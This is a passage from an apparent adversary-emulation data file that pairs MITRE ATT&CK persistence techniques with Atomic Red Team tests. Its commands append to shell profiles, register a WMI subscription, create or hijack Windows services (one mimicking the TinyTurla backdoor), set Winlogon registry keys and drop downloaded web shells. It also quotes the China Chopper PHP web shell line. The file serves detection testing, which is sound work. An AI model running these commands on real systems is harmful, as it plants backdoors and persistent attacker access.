        sockets, or reaching out across the network when user profiles are loaded
        during the login process.\n\nMonitor for changes to <code>/etc/profile</code>
        and <code>/etc/profile.d</code>, these files should only be modified by system
        administrators. MacOS users can leverage Endpoint Security Framework file
        events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
        most Linux and macOS systems, a list of file paths for valid shell options
        available on a system are located in the <code>/etc/shells</code> file.\n"
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1546.004
    atomic_tests:
    - name: Add command to .bash_profile
      auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f
      description: 'Adds a command to the .bash_profile file of the current user

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bash_profile file
          type: String
          default: "/path/to/script.py"
      executor:
        command: 'echo "#{command_to_add}" >> ~/.bash_profile

'
        name: sh
    - name: Add command to .bashrc
      auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f
      description: 'Adds a command to the .bashrc file of the current user

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bashrc file
          type: String
          default: "/path/to/script.py"
      executor:
        command: 'echo "#{command_to_add}" >> ~/.bashrc

'
        name: sh
  T1078:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078
        url: https://attack.mitre.org/techniques/T1078
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
      name: Valid Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-12T18:27:52.298Z'
      created: '2017-05-31T21:31:00.645Z'
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_defense_bypassed:
      - Firewall
      - Host intrusion prevention systems
      - Network intrusion detection system
      - Application control
      - System access controls
      - Anti-virus
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1505.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1505.003
        url: https://attack.mitre.org/techniques/T1505/003
      - external_id: CAPEC-650
        source_name: capec
        url: https://capec.mitre.org/data/definitions/650.html
      - source_name: Lee 2013
        description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down
          the China Chopper Web Shell - Part I. Retrieved March 27, 2015.
        url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
      - url: https://www.us-cert.gov/ncas/alerts/TA15-314A
        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
        source_name: US-CERT Alert TA15-314A Web Shells
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Shell
      description: "Adversaries may backdoor web servers with web shells to establish
        persistent access to systems. A Web shell is a Web script that is placed on
        an openly accessible Web server to allow an adversary to use the Web server
        as a gateway into a network. A Web shell may provide a set of functions to
        execute or a command-line interface on the system that hosts the Web server.\n\nIn
        addition to a server-side script, a Web shell may have a client interface
        program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020)
        Web shell client).(Citation: Lee 2013) "
      id: attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-09-16T19:34:19.752Z'
      created: '2019-12-13T16:46:18.927Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Adversary access to Web server with vulnerability or account to upload and
        serve the Web shell file.
      x_mitre_permissions_required:
      - SYSTEM
      - User
      x_mitre_detection: "Web shells can be difficult to detect. Unlike other forms
        of persistent remote access, they do not initiate connections. The portion
        of the Web shell that is on the server may be small and innocuous looking.
        The PHP version of the China Chopper Web shell, for example, is the following
        short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless,
        detection mechanisms exist. Process monitoring may be used to detect Web servers
        that perform suspicious actions such as running cmd.exe or accessing files
        that are not in the Web directory. File monitoring may be used to detect changes
        to files in the Web directory of a Web server that do not match with updates
        to the Web server's content and may indicate implantation of a Web shell script.
        Log authentication attempts to the server and any unusual traffic patterns
        to or from the server and internal network. (Citation: US-CERT Alert TA15-314A
        Web Shells) "
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      identifier: T1505.003
    atomic_tests:
    - name: Web Shell Written to Disk
      auto_generated_guid: 0a2ce662-1efa-496f-a472-2fe7b080db16
      description: |
        This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
        Idea from APTSimulator.
        cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
      supported_platforms:
      - windows
      input_arguments:
        web_shell_path:
          description: The path to drop the web shell
          type: String
          default: C:\inetpub\wwwroot
        web_shells:
          description: Path of Web Shell
          type: Path
          default: PathToAtomicsFolder\T1505.003\src\
      dependency_executor_name: powershell
      dependencies:
      - description: 'Web shell must exist on disk at specified location (#{web_shells})

'
        prereq_command: 'if (Test-Path #{web_shells}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx"
      executor:
        command: 'xcopy /I /Y #{web_shells} #{web_shell_path}

'
        cleanup_command: |
          del #{web_shell_path}\b.jsp /q >nul 2>&1
          del #{web_shell_path}\tests.jsp /q >nul 2>&1
          del #{web_shell_path}\cmd.aspx /q >nul 2>&1
        name: command_prompt
  T1546.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.003
        url: https://attack.mitre.org/techniques/T1546/003
      - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
          Front Lines. Retrieved May 18, 2016.'
        source_name: Mandiant M-Trends 2015
      - source_name: FireEye WMI SANS 2015
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
          4, 2020.
      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        source_name: FireEye WMI 2015
      - url: https://www.secureworks.com/blog/wmi-persistence
        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
        source_name: Dell WMI Persistence
      - source_name: Microsoft MOF May 2018
        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
          January 24, 2020.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
        source_name: Medium Detecting WMI Persistence
      - source_name: Elastic - Hunting for Persistence Part 1
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
      - source_name: Microsoft Register-WmiEvent
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
        description: Microsoft. (n.d.). Retrieved January 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows Management Instrumentation Event Subscription
      description: |-
        Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

        Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)

        WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:32:54.094Z'
      created: '2020-01-24T14:07:56.276Z'
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)

        Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'WMI: WMI Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1546.003
    atomic_tests:
    - name: Persistence via WMI Event Subscription
      auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

        https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                          CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
          $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = [Ref] $Filter;
          Consumer = [Ref] $Consumer;
          }
          $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
  T1543.003:
    technique:
      created: '2020-01-17T19:13:50.402Z'
      modified: '2020-09-16T15:49:58.490Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1543.003
        url: https://attack.mitre.org/techniques/T1543/003
      - external_id: CAPEC-478
        source_name: capec
        url: https://capec.mitre.org/data/definitions/478.html
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        source_name: TechNet Services
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
          was installed in the system. Retrieved August 7, 2018.'
        source_name: Microsoft 4697 APR 2017
      - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
          to help with intrusion detection. Retrieved August 7, 2018.
        source_name: Microsoft Windows Event Forwarding FEB 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows Service
      description: "Adversaries may create or modify Windows services to repeatedly
        execute malicious payloads as part of persistence. When Windows boots up,
        it starts programs or applications called services that perform background
        system functions.(Citation: TechNet Services) Windows service configuration
        information, including the file path to the service's executable or recovery
        programs/commands, is stored in the Windows Registry. Service configurations
        can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
        \n\nAdversaries may install a new service or modify an existing service by
        using system utilities to interact with services, by directly modifying the
        Registry, or by using custom tools to interact with the Windows API. Adversaries
        may configure services to execute at startup in order to persist on a system.\n\nAn
        adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036)
        by using a service name from a related operating system or benign software,
        or by modifying existing services to make detection analysis more challenging.
        Modifying existing services may interrupt their functionality or may enable
        services that are disabled or otherwise not commonly used. \n\nServices may
        be created with administrator privileges but are executed under SYSTEM privileges,
        so an adversary may also use a service to escalate privileges from administrator
        to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). "
      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Travis Smith, Tripwire
      - Pedro Harrison
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor processes and command-line arguments for actions
        that could create or modify services. Command-line invocation of tools capable
        of adding or modifying services may be unusual, depending on how systems are
        typically used in a particular environment. Services may also be modified
        through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data. Remote access
        tools with built-in features may also interact directly with the Windows API
        to perform these functions outside of typical system utilities. Collect service
        utility execution and service binary path arguments used for analysis. Service
        binary paths may even be changed to execute commands or scripts.  \n\nLook
        for changes to service Registry entries that do not correlate with known software,
        patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        Changes to the binary path and the service startup type changed from manual
        or disabled to automatic, if it does not typically do so, may be suspicious.
        Tools such as Sysinternals Autoruns may also be used to detect system service
        changes that could be attempts at persistence.(Citation: TechNet Autoruns)
        \ \n\nCreation of new services may generate an alterable event (ex: Event
        ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft
        Windows Event Forwarding FEB 2018)). New, benign services may be created during
        installation of new software.\n\nSuspicious program execution through services
        may show up as outlier processes that have not been seen before when compared
        against historical data. Look for abnormal process call trees from known services
        and for execution of other commands that could relate to Discovery or other
        adversary techniques. Data and events should not be viewed in isolation, but
        as part of a chain of behavior that could lead to other activities, such as
        network connections made for Command and Control, learning details about the
        environment through Discovery, and Lateral Movement."
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1543.003
    atomic_tests:
    - name: Modify Fax service to run PowerShell
      auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f
      description: |
        This test will temporarily modify the service Fax by changing the binPath to PowerShell
        and will then revert the binPath change, restoring Fax to its original state.
        Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
          sc start Fax
        cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
          2>&1
    - name: Service Installation CMD
      auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
      description: |
        Download an executable from github and start it as a service.
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: Path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: String
          default: AtomicTestService_CMD
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

'
        prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe create #{service_name} binPath= #{binary_path}
          sc.exe start #{service_name}
        cleanup_command: |
          sc.exe stop #{service_name} >nul 2>&1
          sc.exe delete #{service_name} >nul 2>&1
    - name: Service Installation PowerShell
      auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77
      description: |
        Installs A Local Service via PowerShell.
        Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: Path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: String
          default: AtomicTestService_PowerShell
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

'
        prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
          Start-Service -Name "#{service_name}"
        cleanup_command: |
          Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
          try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
          catch {}
    - name: TinyTurla backdoor service w64time
      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
      description: |
        It's running Dll as service to emulate the tine turla backdoor

        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
      supported_platforms:
      - windows
      input_arguments:
        dllfilename:
          description: It specifies Dll file to run as service
          type: string
          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
      executor:
        command: |-
          copy #{dllfilename} %systemroot%\system32\
          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
          sc config W64Time DisplayName= "Windows 64 Time"
          sc description W64Time "Maintain date and time synch on all clients and services in the network"
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
          sc start W64Time
        cleanup_command: |-
          sc stop W64Time
          sc.exe delete W64Time
          del %systemroot%\system32\w64time.dll
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
        name: command_prompt
        elevation_required: true
  T1547.004:
    technique:
      created: '2020-01-24T16:59:59.688Z'
      modified: '2020-04-21T16:00:41.277Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
      description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
        executables when a user logs in. Winlogon.exe is a Windows component responsible
        for actions at logon/logoff as well as the secure attention sequence (SAS)
        triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper
        programs and functionalities that support Winlogon. (Citation: Cylance Reg
        Persistence Sept 2013) \n\nMalicious modifications to these Registry keys
        may cause Winlogon to load and execute malicious DLLs and/or executables.
        Specifically, the following subkeys have been known to be possibly vulnerable
        to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify
        - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit
        - points to userinit.exe, the user initialization program executed when a
        user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
        executed when a user logs on\n\nAdversaries may take advantage of these features
        to repeatedly execute malicious code and establish persistence."
      name: Winlogon Helper DLL
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.004
        url: https://attack.mitre.org/techniques/T1547/004
      - external_id: CAPEC-579
        source_name: capec
        url: https://capec.mitre.org/data/definitions/579.html
      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        source_name: Cylance Reg Persistence Sept 2013
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

        Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.004
    atomic_tests:
    - name: Winlogon Shell Key Persistence - PowerShell
      auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

'
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

'
        name: powershell
    - name: Winlogon Userinit Key Persistence - PowerShell
      auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

'
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

'
        name: powershell
    - name: Winlogon Notify Key Logon Persistence - PowerShell
      auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9
